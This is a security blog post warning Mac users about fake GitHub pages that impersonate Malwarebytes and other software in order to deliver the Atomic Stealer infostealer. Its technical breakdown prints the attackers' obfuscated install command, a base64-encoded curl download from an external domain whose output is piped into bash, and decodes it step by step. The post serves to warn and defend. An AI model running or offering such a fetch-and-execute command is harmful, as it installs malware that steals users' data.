Fake versions of legitimate software are currently circulating on GitHub pages, in a large-scale campaign targeting Mac users.
Unfortunately, Malwarebytes for Mac is one of them.
Impersonating brands is sadly commonplace, as scammers take advantage of established brand names to target their victims. So this is nothing new, but we always want to warn you about it when we see it happening.
In this case, the cybercriminals’ goal is to distribute information stealers. They figured out a while ago that the easiest way to infect Macs is to get users to install the malware themselves, and the Atomic Stealer (aka AMOS) is the go-to information stealer for Macs.
The LastPass Threat Intelligence team has posted information about the campaign, which follows a similar pattern for all the impersonated software. Sometimes, the starting point is a sponsored Google ad (did we mention we don’t like them? Oh yes, we did!) that points to GitHub instead of the official page of the developer.
But in other, less obvious cases, you may see search results like these:
These only came up at the top of the search results when I explicitly searched for “Malwarebytes Github MacOS”, but the cybercriminals are known to have used Search Engine Optimization (SEO) techniques to get their listings higher in the search results.
The idea is to get the aspiring user to click on the “GET MALWAREBYTES” button on the dedicated GitHub page.
If someone does click that button, they will end up on a download page with instructions on how to install the fake product, which is actually an information stealer.
The terminal installation instructions for Malwarebytes for Mac pointed to a recently registered domain, but thankfully our Browser Guard blocked it anyway.
Here’s a technical breakdown of the instructions provided to the visitor:
/bin/bash -c "<something>"
runs a command using the Bash shell on macOS or Linux. Bash is the interpreter for shell commands.$( ... )
. Everything inside this gets executed first; its output becomes part of the outer command.$(echo aHR0cHM6Ly9nb3NyZWVzdHIuY29tL2h1bi9pbnN0YWxsLnNo | base64 -d) echo ... | base64 -d
decodes the long string.curl -fsSL
So, putting all this together:
The inner command turns into: curl -fsSL https://gosreestr[.]com/hun/install.sh
The outer command becomes: /bin/bash -c "$(curl -fsSL https://gosreestr[.]com/hun/install.sh)"
So, the complete command tells the system to download a script directly from an external server and immediately execute it using Bash.
This is dangerous for the user on many levels. Because there is no prompt or review, the user does not get a chance to see or assess what the downloaded script will do before it runs. It bypasses security because of the use of the command line, it can bypass normal file download protections and execute anything the attacker wants.
The files to download have already been taken down, but users that recognize this chain of infection are under advice to thoroughly check their machines for an infection.
Impersonated software besides Malwarebytes and LastPass included:
But it’s highly likely that there will be more, so don’t see this as an exhaustive list.
Both ThreatDown and Malwarebytes for Mac detect and block this Atomic Stealer variant and many others, but it’s better to not download it at all. There are a few golden guidelines on how to stay safe:
If you have scanned your Mac and found the information stealer:
We don’t just report on threats – we help safeguard your entire digital identity
Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.